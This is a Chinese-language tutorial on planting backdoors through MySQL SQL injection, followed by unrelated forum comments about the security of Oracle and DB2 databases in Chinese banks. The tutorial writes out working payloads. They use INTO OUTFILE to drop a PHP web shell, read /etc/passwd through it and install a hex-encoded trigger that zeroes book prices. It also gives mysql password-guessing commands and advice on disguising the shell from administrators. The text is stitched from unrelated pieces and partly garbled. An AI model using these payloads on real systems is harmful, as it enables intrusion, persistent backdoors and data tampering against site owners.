如何利用SQL注入制造一个后门

如何利用SQL注入制造一个后门

0×01,介绍…

0×02,什么是Sql Injection..

0×03,一个系统后门(OS)Backdoor.

0×04,获得一个OS Shell

0×05,一个数据库后门(Database backdoor).

0×07,推荐的防御措施…

0×08,结论…

0×09,参考…

0×01,介绍

如果你正在读这篇文章那么我有理由相信你曾经听说过一种病毒，或者是它一种特洛伊木马或者蠕虫，这类恶意程序可以感染你的计算机系统。一旦你的计算机系统被感染，那么当你使被感染的计算机连接到互联网，它很可能会去感染其他的计算机。许多时候，恶意软件不仅仅只是从一台计算机传播到另一台，他们会针对每一台感染的计算机进行自身的变异。这些变化将会让病毒远程的控制每一台计算机并使它们在之后感染更多的计算机系统。这些病毒第一次执行时会复制一个小型的可执行文件到用户的磁盘上，这个可执行文件仅仅会监听在当前计算机系统未使用的端口上从而恶意软件可以在被感染主机连入互联网的任意时刻访问这台主机。这个小的可执行文件叫做后门(Backdoor)。我在这里已经简要的说明了后门的概念。

0×02,什么是Sql Injection

已经有超过1百万的文章讲述了什么是Sql注入并且怎样去发现和怎样去避免这类威胁，所以我不想再次重复。如果你需要了解一些关于Sql注入的背景知识，这里有一个介绍性文章的连接可以供你阅读。这篇文章末尾我也提供了一些参考资料可以让你针对这篇文章所讨论的话题获得更多的知识信息。

0×03,一个系统后门(OS)Backdoor

这篇文章的目的是利用Sql Injection执行各种各样的命令最终控制 *** 作系统。为了运行系统命令，我们需要一个CMD shell,或者需要执行一些代码使得我们可以执行OS命令。让我们分别尝试一下这两种方法。

0×04,获得一个OS Shell

现在我们将写我们自己的代码使之可以让我们运行任意OS命令来控制 *** 作系统。所以，从之前的文章中我们已经知道搜索部分的变量存在Sql Injection并且在question表中存在4个列名。作为提示，语句Harry Potter’ union select 1,2,3,4#将会出现错误：

现在，我们想插入可以执行系统命令的PHP代码。为了实现这个目的，我们使用MYsql提供的INTO OUTFILE特性。使用Using INTO OUTFILE，可以将查询的输出重定向到系统的文件中去。真因为如此，我们可以执行Harry Potter’ union select ‘TEXT INTO FILE’,2,3 INTO OUTFILE ‘/tmp/blah.txt’#，然后字符串‘TEXT INTO FILE’将会被存储在目录/tmp下的blah.txt中。如图：

现在我们将 ‘TEXT INTO FILE’替换成基本的PHP代码使之可以读取URL的参数来执行系统命令控制 *** 作系统。我们使用这样的语句： Harry Potter’ union select “<?system($_REQUEST['cmd'])?>”,2,3 INTO OUTFILE ‘/var/www/test/execcmd.php’# ，如图：

就是这样！但是还出现了很多我们根本不关心的书籍的内容。所以我调整了我的查询语句为：

‘ union select “<? system($_REQUEST['cmd'])?>”,2,3 INTO OUTFILE ‘/var/www/test/execcmd.php’#并再次执行。

尽管这回还是返回了2和3，但是好多了。

现在我们访问execcmd.php并把命令[cat /etc.passwd]传递给我们想提交执行的参数。

成功了。通过我多次的尝试，这里有几点需要注意的事情。

–运行这条语句的数据库用户需要拥有FILE权限，否则不能执行INTO OUTFILE命令。

–在MySQL服务运行的主机中必须存在一个可写的Web目录，否则你不能访问你刚刚上传的Webshell。你可以将代码写入到总是可写的目录像/ttmp，但是你没有权限访问它。

一种简单的方式来实现OS Shell是使用SQLMap内置的特性。如果你读过我之前的文章，你会记得我使用过SQLMap。让我们通过SQLMap来完成同样的事情。

下面的OS shell截图是在使用SQLMap进行注入时加入了一个简单的参数并且在提示处选择了PHP Web Shell而获得的。

运行一个命令来检查我们是否已经获得了一个Shell。OK，没问题。

这实在是太容易了。

不幸的是，从‘破坏者’的角度来看这也同样是简单的。

现在有了这么简单快捷的方法你肯定不想再用之前的方法了，但是知道手动利用的方法总是有帮助的（这样当使用工具失败时你可以有另外的方法）。还有一件事需要注意，难获得了一

个WebShell时，请使用一个和Web目录中已经存在的文件十分相似的名字去命名。这会帮助你隐藏你的WebShell使之不会被管理员不经意间轻易的发现。

在开始下一类Backdoor之前，我将向你展示隐藏SQLMap的方法。你可以通过设置代理来运行SQLMap。

然后当SQLMap将实际的WebShell上传到可写目录的时候，brupSuite会拦截到一些请求，让我们看一下这些请求。

我们能看到一些熟悉的东西。让我们通过URL decode来确定一下。看一下在底部面板的蓝色高亮的部分。它显示出SQLMap正在使用INTO OUTFILE命令，和我们之前人工使用的方法是一样的。

最后，我们看一下SQLMap上传WebShell的内容，非常有意思，看一下底部的面板。

这就是关键，工具再一次的大大简化了我们本该花费大量时间进行的繁琐工作。

0×05,一个数据库后门(Database backdoor)

现在我们知道一个OS后门可以在Web应用存在SQL Injection时被植入到系统中。现在让我们看看如何在数据库中植入一个后门吧。在我们继续之前，我们需要一些了解一下backdoor function的相关知识。在OS backdoor中，我们直接访问了后门并且传递给它了一个命令；但在这里却并不会那么直接。当我们每一个插入的 *** 作执行时，我们配置的后门会改变数据库中一些敏感数据的值。所以，每一本书在添加到数据库中时价格会被我们的后门设置成0，以至于人们可以免费“购买”这些书籍。这在真实的环境中可能会很快被发现。

所以我们在数据库中有一些叫做“触发器”的东西，基本的意思就是——“当某些我们希望发生的事情发生时，触动触发器去做另外一些事情”。这描述的确实太模糊了，然我们举一个更明显的例子。假如你是一个警察，某一时刻你看到一个连环杀手，你扣动扳机并且发射出一枚子d对么？那么把他转换为我们之前的场景——有一个INSERT语句（杀手），一个Database trigger(q手)开火了，那么动作(action)就是释放你之前已经配置(configured)好的子d(bullet)。

下面使我们要写的一个MySQL触发器的例子：

delimiter #

CREATE TRIGGER price BEFORE INSERT ON books

for each row begin

set new.price=’0′

end#

delimiter

b)无论任何时候如果我们执行一个Insert语句，比如假如一本书，那么我们设置其价格为0.下面是它的意思：

a)设置默认的MySQL分隔符为’#'，因为默认的分隔符是’'在MySQL作为特殊字符处理了，而我们需要将其作为数据处理。所以我们改变分隔符为’#'，表示’#'现在有一个特殊的含义。

c)终止触发器并将分隔符重置为’'。

然我们使用Sql Injection将触发器复制到服务器上。下面是要作为搜索框输入的语句：

Harry Potter’ AND 1=0 union select 0×20,0×20,0×20 INTO OUTFILE ‘/var/www/test/g2′ LINES TERMINATED BY 0x64656c696d6974657220230a4352454154452054524947474552207072696365204245464f524520494e53455254204f4e20626f6f6b730a666f72206561636820726f7720626567696e0a736574206e65772e70726963653d2730273b0a656e643b230a64656c696d69746572203b#

我会快速解释一下这个查询语句—因为即使看起来它很复杂—其实不然。我们使用1=0因为我们对关于《Harry Potter》的查询结果并不感兴趣。0×20的位置只是查询了三次空格’space’；这是为了我可以仅仅得到想要重定向到文件’/var/www/test.g2′中的内容。然后LINES TERMINATED BY后面的部分是整个触发器使用hex函数转换后的形式(我是用的是Brup Decoder，不要坐在那儿浪费时间去手工转化它)。

让我们运行一下看看会在文件/var/www/test/g2中出现什么。

你注意到了最开始的几个空格了么？这就是我们之前看到的select 0×20,0×20,0×20的作用。之后的内容就显而易见了。

现在我们以某种方式执行这个查询然后我们的触发器会在每次一本书被插入时激活，这里有三种实现的方法。

a)多语句查询(Stacked Queries)—Harry Potter’ UNION blah blah blahsource /var/www/test/g2但是这事实上不会成功执行，因为PHP+MySQL不支持多语句查询。

b)滥用MySQL默认触发器行为(Abusing MySQL default trigger behavior)—这种方法我还没有测试过，不过在Stefano Di Paola的文章中被描述的非常清楚。尝试一下吧，我找时间也会测试一下。

c)使用SQL Injection工具比如SQLMap运行我们存放在/var/www/test/g2中保存的触发器。这是我们将要测试的方法。

我们来再次运行SQLMap并获得一个我们可以运行触发器的SQL shell。

看最后一行。不幸的是，只有当支持多语句查询时，这种方法才可以执行。这意味着上面的选项a，c意味着同一种情况。让我们通过代理来查看SQLMap的请求。

让我们在Sql-shell中执行一个简单的创建新数据库的语句—”create database boo”并在Brup中查看。

我们可以看到，SQLMap尝试将它转换为一个SELECT查询。这将永远不会执行成功。从Burp相应的内容证实了这一点。

我能想到的唯一一种能够顺序执行我们的查询的可行办法包含以下几个步骤：

—猜解一个有效MySQL用户的密码。例如，你猜到root的密码是test123

—注入一个OS webshell后门。

—注入一个类似之前格式的触发器。

—现在通过在Webshell中运行MySQL命令来安装触发器。

我有几张截图来说明为什么这样是可行的。为了照顾初学者，这里有张截图表名当前不存在任何触发器。

假设我们已经猜解到了用户名和密码root和toor（通过Blind SQL暴力猜解mysql.user表）。现在我们反问Web shell并传递一个命令：

mysql -u<USERNAME>-p<PASSWORD><DB NAME></var/www/test/g2

现在我们再来看一下数据库。

看到了我们的触发器。

现在我们来运行一个INSERT查询来检查我们的触发器是否会运行。然后所有Jeffrey Archer的书的价格会变得非常不可思议。

现在执行查询：

看最后一行。某些人可以不用支付他本认为应该支付的价格了。

现在我们直接执行一个INSERT查询来控制数据库。在真实环境中将会有一个表单来添加书籍，在后端很可能会有一个INSERT查询，这时触发器很有可能被触发执行。这是我没有创建另外一个表单的唯一原因。

明显地，一个大前提是我们能够猜解数据库的用户名和密码。下面有一个简单的思路可以让你实现这个目的。

—想一些常用的数据库用户名（比如MySQL的root）或者通过社会工程学获得一些。

—MySQL密码是通过哈希加密的，并不是明文。

你可以通过以下两种方式破解密码：

—通过SQL Injection将密码的Hash与密码明文列表对比。（参考我之前的文章）

—在WebShell中通过密码明文列表和一个特定的用户名来运行触发器。你可以写一个Perl或者Ruby脚本来为你做这些事情。尝试在遍历完明文密码列表之后插入一本书，或者在每次猜解后找出那个密码是正确的。

mysql -uroot -ptoor blindsql_test</var/www/test/g2

mysql -uroot -proot blindsql_test</var/www/test/g2

mysql -uroot -ptest blindsql_test</var/www/test/g2

mysql -uroot -ppassword blindsql_test</var/www/test/g2

0×07,推荐的防御措施

a)使用参数化查询来防御SQL注入攻击。

b)不要在Web目录中存在大量可写目录。

c)限制Web应用在后端查询数据库的用户的权限。为了实现这一点，不要给其分配FILE权限。

d)设置复杂的数据库密码和健壮的密码策略。

0×08,结论

这个问题的根源，是Web应用存在Sql注入弱点。修复它将会阻止这种威胁的发生。然而，知道不同的植入后门的方法还是有益的。许多恶意软件将会通过这种方式传播；也需要采取措施来防止它们。

出自：http://www.freebuf.com/articles/222.html

典型的总有刁民想害朕的心态[灵光一闪]

泄密到不存在，一般国内银行用Oracle的同时都会购买Oracle的维护服务，除非甲骨文不想做中国的生意了。当然因为中美关系的问题，一些行已经开始从周边系统逐渐开始改造使用国产数据库，比如华为的高斯200，同时国内的国有软件企业也在部署研发国产的数据库，公司名就不说了，反正确实有这个安排。

真的是个好问题，国家核心系统从什么开始决心抛弃windows。银行系统数据太过庞大复杂，上了贼船，下船太难太难了。

我是金融行业的码农，也算是有一定的发言权吧。

在数据库方面，金融领域用到的有Oracle和SQLServer等商业软件，也有Mysql、Redis等开源软件。这些软件有个令人沮丧的共同点， 很少有国产自主研发数据库 。

随着互联网的飞速发展，信息化浪潮席卷各个行业。效率的大幅提升，彻底颠覆了既有的工作模式。率先拥抱变革的企业收获了巨大收益，让后来者羡慕嫉妒恨。

信息技术不管发展如何，都绕不开数据存储，数据存储以关系型数据库最符合人的思维方式。关系型数据库中的翘楚无疑是Oracle数据库。

再回到题主的泄密问题，即Oracle数据库安全么？我的答案是 即安全又不安全 。之所以安全因为它是最好关系型数据库，常见的指标如易用性、稳定性、可用性、可恢复性都有完整的解决方案。之所以不安全是因为它是国外的闭源软件，是否有安全隐患，国人不得而知。

技术上不可控，我们怎么才能避免呢？答案是从管理上从严控制。

不怕。

物理上是对外隔离的， 架构上也有大量技术手段确保数据的安全。

但是自主可控的趋势不可阻挡。

内网，物理隔离。外网用啥都没用，想搞你不过是时间问题。

国内银行系统用的数据库很多， 核心系统一般都用老牌的商业数据库DB2、Oracle 。其他系统也有用Mysql、MongoDB等其他数据库。至于数据泄露吗？银行当然也怕。但是，就综合考虑来看，目前Oracle等商业数据库依然是最佳选择，将来可能会一步一步提高安全等级。

1、稳定是首要选项

我们都知道，银行是金融系统的重要机构。它们的系统不能够随便出问题，一出问题影响整个 社会 。所以， 对银行来说，稳定是摆在首要位置的 。任何创新都必须以此为前提。而DB2、Oracle这些商业数据库软件，首先能够满足银行的稳定性要求。

而在中国，银行是比较早有信息化的单位。但刚开始，没有任何经验的时候，只能是跟欧美国家学习模仿。外企银行基本都是采用oracle、DB2来做核心系统。中国自然是采用国外相同的方案。大部分银行也就采用了当时比较流行的一整套IBM大型机、小型机硬件，配套DB2、Oracle数据库来做。

2、安全实现手段

①、厂家信誉

一直用DB2、Oracle作为核心数据库。对银行来说，已经是最佳选择。因为，在过去，国产根本就没有什么拿得出手的数据库可以使用。银行自然也只能用业界最好的数据库，而且Oracle、DB2这类大品牌的数据库，在全球范围应用都很广。厂家自然也要注意保障安全，否则出了问题，全世界都受影响。

②、技术控制

除了厂家的信誉保障外，银行在技术上做了很多安全措施。首先， 内外网是物理隔离的 。这样，实时连接数据库的攻击是很难实现的了。其次，在防止数据泄露这一块，银行当然也是有很多的技术手段控制的。至少，外网需要的数据是从内网的网闸摆渡过去的。能摆渡什么数据出去，也是银行严格控制的。最后， 数据库里的敏感数据，也是加密存储的 。同时，网络上还 部署了一系列网络安全设备来 保障系统的安全。

3、银行安全需升级

银行现在虽然有很多的技术手段来保障信息安全，但是，DB2、Oracle始终是国外闭源商业数据库软件。如果软件存在漏洞或者后门，对银行来说也是一个大风险。加上国际形势风云变化，所以，银行也还是会有担心泄密问题，这就意味着银行的安全体系还需要升级。

那该如何升级安全呢？除了系统过等级保护外，也一直在倡导用安全可靠的软件。这就意味着需要逐步从Oracle、DB2等商业软件走向开源、或者国产等数据库软件。不过，银行的稳定性还是不能忽略的，所以， 银行也就只能逐步 探索 ，逐步提升安全。同时，国产数据库发展也还有很长一段路要走 。

总结

总之，早些年银行从稳定和安全出发，Oracle、DB2等商业数据库是最佳选择。这些年，随着国际形势的变化和技术的发展，银行也在逐步提升安全等级。将来也会逐步替换Oracle、DB2等商业数据库软件。

这是个系统的问题。

有些朋友说物理隔离，目前看应该做不到100％隔离。银行数据中心就是提供服务的，隔离了怎么提供服务？各个分行，网点，ATM都是要联网的，都是要访问数据库的，只是权限不同。

归结起来就是数据安全和数据库系统，计算机系统，网络系统，以及工作人员都是相关的，必须全方位防护。

数据库系统，国产化当然是必须的，但是国产数据库系统就没有漏洞吗？不故意窃取数据，难保不因失误而失窃。这个要加强测试。

计算机系统，包括软件和硬件，同样道理。

网络方面，银行应该是租用运营商的线路(虚拟专网，VPN)实现网点互联。出点和入点之间加密传输。如果加密算法没有被破解，秘钥没有暴露，一般没问题。但毕竟还是有”如果”的。

人的问题更大一些，买通一个人不太难吧？这个要通过层层审核，相互制衡，以及思想政治工作来防范。

所以说信息系统的安全防护是全方位的。

要使用SWIFT ,国际资金清算系统，就必须与国际接轨，所以必须用Oracl。

林郑太太被制裁，xyk不能用，工资都发现金，使用也是现金，那么多的国行，没有一家敢接盘。

有别的选择吗。

---